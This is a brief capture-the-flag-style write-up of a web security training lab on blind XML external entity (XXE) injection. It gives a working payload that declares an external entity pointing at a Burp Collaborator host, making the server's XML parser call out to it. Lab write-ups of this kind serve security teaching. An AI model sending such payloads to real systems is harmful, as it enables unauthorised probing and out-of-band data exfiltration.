Blind XXE with Out-of-Band Interaction

Lab#

Blind XXE with out-of-band interaction · Practitioner

Solution#

Given#

This lab has a "Check stock" feature that parses XML input but does not display the result.

You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.

To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

Analyzing the task#

The check-stock function parses XML but doesn't show the result in the response. That means we need to use the OOB technique.

Exploitation#

Find the Check stock function:

POST /product/stock

XML in the body.

OK, let's straight away add an external entity and send a request to Burp Collaborator. Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://l9vnzxbboknpu6p5dex776v9l0ryfo3d.oastify.com"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Lands.

Lab solved!